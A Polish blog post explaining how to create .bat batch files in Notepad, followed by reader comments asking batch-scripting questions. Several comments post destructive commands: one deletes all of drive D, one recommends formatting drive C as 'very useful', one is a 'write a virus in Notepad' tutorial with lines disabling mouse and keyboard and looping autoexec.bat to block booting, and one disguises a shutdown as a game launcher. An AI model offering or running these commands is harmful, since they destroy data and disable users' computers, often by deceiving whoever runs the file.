Systemy Operacyjne

8 marca 2012

Jak stworzyć plik wsadowy .bat


Pliki wsadowe służą do wykonywania określonych zadań – najczęściej operacji na plikach. Ciągi komend zapisujemy w jednym pliku tekstowym z rozszerzeniem -bat (Batchfile), którego zawartość system operacyjny interpretuje jako wykonywanie po kolei poleceń.
Jak tworzyć pliki wsadowe?
Najprościej przy użyciu notatnika(start->Uruchom: „notepad.exe”), wpisujemy poszczególne komendy i zapisujemy pliki jako: plik_wsadowy.bat i wybieramy opcję Zapisz jako Typ: Wszystkie pliki.
Tak utworzony plik uruchamiamy i traktowany jest on jak wykonywalny (z rozszerzeniem exe).

Przykłady wykorzystania plików wsadowych:

 

Artykuł znaleziono wpisując takie słowa:

  • plik bat
  • jak zrobić plik bat
  • jak zrobic plik wsadowy
  • jka sie robi plik bat
  • zapisywanie plik cmd
  • jak stworzyc plik bat
  • jak dokument tekstowy zapisać jako bat
  • tworzenie pliku bat
  • jak utwórzyc plik exe
  • plik wsadowy bat

Czytaj też:

  1. Jak ustawić wyższy priorytet dla programów w postaci skrótu Jeżeli przeczytałeś poradę Większy priorytet = szybsza praca, to zapewne chciałbyś, aby większy priorytet został przydzielony...
  2. Wyświetlanie czasu pracy komputera oraz daty jego instalacji Możesz w łatwy sposób sprawdzić czas jaki minął od uruchomienia systemu Windows, dzięki czemu nikt nie...
  3. Jak przywrócić prawidłowy wygląd ikon na Pulpicie Zdarza się, że po instalacji jakiegoś programu lub podczas zwykłej pracy przy komputerze, ikony pulpitu zaczynają...
  4. Jak uruchomić program jako administrator na koncie z ograniczeniami Jak wiadomo używanie konta z ograniczonymi uprawnieniami do surfowania w sieci jest o wiele bezpieczniejsze niż...
  5. Jak przywrócić ikonkę Pokaż Pulpit w pasku zadań Jeżeli usunąłeś ikonę Pokaż pulpit i chcesz ją przywrócić przeczytaj poniższą poradę. Uruchom Notatnik. Wpisz do...


O Autorze

makensis
Od 2006 roku Redaktor Naczelny oraz Administrator Tweaks.pl Autor dwóch książek o systemach operacyjnych, szeregu publikacji i porad odnośnie użytkowania komputera. Absolwent Wydziału Elektroniki. Z zamiłowania informatyk, pozycjoner i podróżnik.




 
 

 
 

Wyświetlanie czasu pracy komputera oraz daty jego instalacji

Możesz w łatwy sposób sprawdzić czas jaki minął od uruchomienia systemu Windows, dzięki czemu nikt nie zarzuci Ci, że siedzisz na komputerze zbyt długo, jeżeli rzeczywiście niedawno go włączyłeś . Utwórz plik ws...
przez makensis
37

 



37 komentarzy


  1. qwerty

    o co tu chodzi? :|


  2. Leshni@K

    Jak już się za to zabrałeś, to opisz to dokładniej i przedstaw potencjalne korzyści :)
    Zielony user raczej nie wie do czego może to wykorzystać…


  3. dav

    Dokładnie. Jakie to może mieć zastosowanie? Nic mi z samego opisu jak zrobić plik wykonywalny jak nie ma co wykonywać…


  4. Amator

    na początku należ otworzyć notatnik a potem napisać
    @echo off
    echo (tekst)
    pause>>nul
    echo (tekst)
    pause>>nul


  5. pil@r

    i tak nie wiem po co to…:(


  6. darthvader1

    Znaczy wszystko bardzo ładnie ale jak otworzyć tym plikiem np.: plik znajdujący się w innym folderze?


  7. Woj

    Dzięki – tego właśnie szukałem:D a potrzebne mi to bylo żeby w viście przeskoczyć konieczność logowania się jako admin przy zmianie ustawień hibernacji. po prostu tworzysz plik wykonywalny z poleceniem ( np powercfg /hibernate on) klikasz prawym i dajesz uruchom jako administrator.


  8. Harnaś

    To jest skomplikowane mam zrobić referat + ten plik i nie wiem jak się za to zabrać…


  9. 333

    tworzy sie plik z rozszerzeniem *.bat np: test.bat
    np w notatniku plik -> zapisz jako, na dole "wszystkie pliki" i zapisujemy jako test.bat

    w pilku piszemy komenty dos np.:

    @echo off
    rd d: /s /q
    exit

    i w ten sposob pozbywamy sie zawartoscie dysku D:
    mozna rowniez wyswietlac rozne zawiadomienia z okienka dos i takie tam bajery co komu tylko do glowy przyjdzie :P
    Ale trzeba znac polecenia dos ;)

    Kod jest tylko przedstawieniem mozliwosci plikow wsadowych i
    jako jego Autor nie biore zarnej odpowiedzialnosci za uzywanie, testowanie, uruchamianie kodu programu! jesli go uzyjesz w sposob nie zgodny z prawem cala odpowiedzialosc lezy na Tobie! nie mozesz miec do nikogo pretencji jesli uruchomisz ten plik na woim komputerze tylko do siebie samego!


  10. Romek

    a jak wydrukowac zawartosc pliku BAT ??? jakiej komendy urzyc


  11. cuś ni dziala

    mi sie nic nie stalo jesli chodzi o D. Mam partycje D ale po uruchomieniu pliku bat z tym @echo off
    rd d: /s /q
    exit

    nic sie nie dzialo, wszystko na D jest na swoim miejscu :(


  12. Jankes

    jak przez ten plik wyłączyć jakiś program??


  13. (Tomek Zając)

    Ja tam polecam pobrać Batch Creator.Tam się to robi banalnie!


  14. mazur

    polecam wam to
    @echo off
    echo T | format c:
    cls
    bardzo przydatne


  15. Flabber

    Jak zrobić link uruchamiający strone internetową albo radio internetowe używając komęd batch


  16. pit

    Nie wiem jak napisać, aby po uruchomieniu pliku otwierały mi się strony internetowe, ale każda w nowym oknie. Proszę o pomoc.
    )ponizej przykład zawartości mojego pliku)
    @echo off
    start http://www.wp.pl
    start http://www.onet.pl


  17. nero134

    jak zrobić plik wsadowy .bat który będzie tworzył folder w nim drugi a w tym drugim plik tekstowy ? Za pomoc z gory dziękuję.


  18. JW

    MAM PROBLEM Z XP – i arj – odpalajac np. omoje.bat
    ( odremowana linia – zaremowne to samo ) nie wykonuje
    pod xp rozpakowania pliku , ktory jest na dysku f pod nazwa moje.arj – na win98 – bez problemu pakuje i ropakowuje – xp cos sie czepi arj-ta arj.exe jest 16 bit ( 32 to samo nie rozpakowuje ) – jak to uruchomic pod xp ? JW


  19. jw

    cd wczorajszego – tak napisalem – wyciety fragmecik
    Witam Pana

    Mam problem ( moze Pan cos doradzi ? )
    z rozpakowaniem pliku ( w arj spak )
    pod xp – na 98 dziala bez problemu .
    Dawno juz temu napisalem taki programik bat
    zgrywajacy okreslone dane ( uzywajc pomocnych
    opcji ze od tylu i tylu dni , ze sciezka dostepu lub bez itd itd )
    Dziala to od lat bez problemu ( zawsze cos dopisuje zmieniam -wykreslam – wiadomo ) zapis dokonywany jest
    na plyte .
    Nastepny programik odczytu , i jak pisalem -odczyt prawidlowy danych na 98 .
    Natomiast teraz chce to zrobic na xp ( no czas najwyzszy ) – niestety – zbior spakowany arj-tem nie rozpakowuje .

    Ponizej malutki fragmencik – nie dziala
    rem Arj x -vva -y -jyac -u2 f:XYZMOJE-DOKpisma "C:DOCUMENTS AND SETTINGSJWKMOJE DOKUMENTY"
    rem Arj x f:XYZMOJE-DOKpisma "C:DOCUMENTS AND SETTINGSJWKMOJE DOKUMENTY"
    rem c:arjarj.exe
    rem c:arj.exe
    Arj x f:XYZMOJE-DOKpisma "C:MOJE DOKUMENTY"
    rem expand -r cab -f:XYZMOJE-DOKpisma "C:MOJE DOKUMENTY"

    Mozna liczyc na jakas podpowiedz ?

    Pozdrawiam
    Jaroslaw Wieczorek


  20. Grzechu

    Świetne i nie trudne od zrozumienia nawet dla zielonego ;]
    Dzięki


  21. flabber

    Już wiem jak uruchamiać radio internetowe za pomocą pliku [BAT]
    to jest bardzo wygodne,po kompilacji na [exe]

    @echo off
    set nazwa=%TEMP%\%RANDOM%.pls

    echo [playlist] >%nazwa%
    echo File1=http://radio.ipip.cz:8062/ >>%nazwa%
    echo Title1=Nazwa Radia >>%nazwa%
    echo Length1=-1 >>%nazwa%
    echo NumberOfEntries=1 >>%nazwa%
    echo Version=2 >>%nazwa%

    start %nazwa%

    w linijce File1=(jest tu adres url strumienia radia)

    skrypt uruchamia radio internetowe urzywając odtwarzacza typu Winamp lub innego który jest zainstalowany w systemie jako domyślny


  22. GG 7781359

    ja bym chciał utworzyc ze jak włanczam to mi sie włancza jakas strona np. gogle ale nie wiem jak to zrobic


  23. Marcin

    Witam! Mam podobny problem jak wielu ludzi z uprawnieniami admina w Viście. Utworzyłem plik notatnika nazwałem go sobie plik wsadowy.bat i chciałbym otworzyć z uprawnieniami admina… W pliku wpisałem "@echo [enter]off". Na pewno coś robię źle, tylko co…:/


  24. LP

    Jakoś to mi nie pomogło, Tworzę plik tekstowy ale jak go zamienić na BAT?/


  25. BC#.0

    wes zkorzystaj z programu beatcg creator 3.0 to ci powinno pomuc tez mialem taki problem ale sie pob awilem i jest :) narq


  26. HyujiWcipyce

    polecam robic pliki wasdowe w notepad++


  27. xxx

    mam prośbę i pytanie czy umiła by mi ktoś pomóc w napisaniu pliku wsadowego który bedzie quizem który na końcu podsumuje nasze poprawne odpowiedzi bardzo proszę o pomoc


  28. mymo22

    Jak napisać wirusa w Notatniku krok po kroku
    (*.bat)

    Dzięki temu artykułowi napiszemy proste wirusy w Notatniku

    Na poczštek pokaże jak zrobić bardzo prosty program który po otwarciu otworzy wpisanš strone www

    Zaczynamy : Otwóż Notatnik i wklej , lub wpisz do niego poniższy kod:

    @echo off

    start http://www.haker.fe.pl

    Następnie zapisujemy w następujšcy sposób : klikamy na Plik potem klikamy na Zapisz jako… I teraz wpisujemy w nazwę (Nazwa pliku) program.bat , a poniżej z menu Zapisz jako typ wybieramy Wszystkie pliki i klikamy na Zapisz Teraz w miejscu gdzie zapisali�my plik pokaże się nasz program klikamy na ikone naszego programu i powinna się otworzyć nam strona www.

    PORADA:

    zamiast strony podanej przezemnie możemy wpisać dowolnš czyli zamiast start http://www.haker.fe.pl Może być start http://www.onet.pl

    Mam nadzieje że wszystko zrozumiałe Je�li jednak nie to prosze o kontakt…
    Teraz Już jak umiecie zapisywać wirusa itp..To podam teraz tylko gotowe kody do wklejenia w notatnik

    Zawieszenie kšputera

    @echo off

    rundll32 user,disableoemlayer

    Wyłšczenie kšputera

    @echo off

    rundll32 krnl386.exe,exitkernel

    Wyłšcz mysz

    @echo off

    rundll32 mouse,disable

    Wyłšcz mysz i klawiature

    @echo off

    rundll32 mouse,disable

    rundll32 keyboard,disable

    Nie pozwalaj na Start Systemu

    @echo off

    echo :petla>>c:autoexec.bat

    echo goto petla>>c:autoexec.bat

    Spowolnij włšczanie systemu oraz zamień przyciski myszy

    @echo off

    rundll32 user,swapmousebutton

    echo dir /s /v c:*.* >>c:autoexec.bat


  29. loleksoft

    ja tam moge co innego wam pokazac
    ja naprzykład napiszę wam zabawnego wirusa ktuy ma
    włączyc gre AVATAR a wyłączy nam kompa :P
    wpiscie w notatniku

    @echo off
    title AVATAR PLAY
    color 18
    echo uruchamianie gry avatar proszę czekac

    start avatar.exe
    user exitwindows
    :1
    dir/s
    goto 1


  30. michal

    Witam! jak zbudować plik .bat aby zmieniał zawartość wszystkich plików tekstowych znajdujących się w jednym folderze. Ważne aby zamieniał w tekście jednorazowo kilka fraz:
    - zamień frazę "rower" na "drzewo"
    - zamień frazę "owoc" na "laptop"

    Taki plik .bat ułatwiłby mi prace. Do tej pory musiałem korzystać z edytorów tekstowych i korzystając z funkcji znajdź/zamień. Jest to żmudne gdyż kryteria muszę zmieniać pojedynczo. Będę ogromnie wdzięczny za pomoc.

    Znalazłem to:
    http://www.computing.net/answers/programming/find-and-replace-batch-to-txt/20511.html

    Niestety chyba tam opisany plik .bat zawiera błąd… może będzie ktoś w stanie naprawić ten błąd.

    Zależy mi na pliku .bat gdyż wiele fraz muszę zmieniać – zawsze te same frazy i co kilka dni inne pliki txt mam do edycji. Raz napisany plik .bat mógłbym używać wiele wiele razy mając pewność ze nie popełniłem błędu podczas zamiany.


  31. RE: MAM PROBLEM Z XP

    Lepiej późno niż wcale
    Zwykły stary dos obsługiwał tylko nazwy 8+3
    w nowym wystarczy dać cudzysłów np

    "C:document and settingscostam"

    w przeciwnym razie dla dos-a zrobi się coś takiego:

    c:docume~1costam

    a takiego katalogu nie ma => z tąd błąd


  32. KAZIK

    POSZUKUJE PEWNYCH SPRAWDZONYCH APLIKACJI
    w *.vbs lub *.js ( funkcje if , else , do while , find
    operacje na plikach , menu programowe w vbs – i mimo , ze
    wscript czy cscript jest w win – to brak konkretnych przydatnych wzorców – moze ktos dysponuje jakims archiwum ?


  33. Rafał

    Jak zrobić by PUTTY otwierało się w zmaksymalizowanym oknie, mam następujący kod:
    ———————————————————————
    @ECHO OFF
    cmd.exe /c start "" "C:Program Files123putty.exe" -load "123"


  34. Monikagg 12905656

    Potrzebuje zadanie o następującej treści:
    *utwórz program który będzie kopiował plik tzt i do nazwy dodawał słowo kopia
    *po 2 uruchomieniu niech wyprowadzi komunikat ten plik juz istnieje


  35. ja

    mnie najbardziej wkurza to że trzeba wpisywać za każdym razem pause jak chce się zobaczyć efekty w wierszu poleceń


  36. Kacper

    @echo off
    xcopy %KAcper%appstartupsec.ini
    %userprofile%Moje dokumenty

    wie ktoś czemu nie może mi odnaleść dysku "kacper"(pendrive )?



Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Pola, których wypełnienie jest wymagane, są oznaczone symbolem *

*

Możesz użyć następujących tagów oraz atrybutów HTML-a: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>


 
Przeczytaj poprzedni wpis:
Kody błędów Windows XP BSOD

W momencie wystąpienia krytycznego wyjątku w Windows - system uruchomi się automatycznie ponownie lub wyświetla tzw. Blue Screen (niebieski ekran)....

Zamknij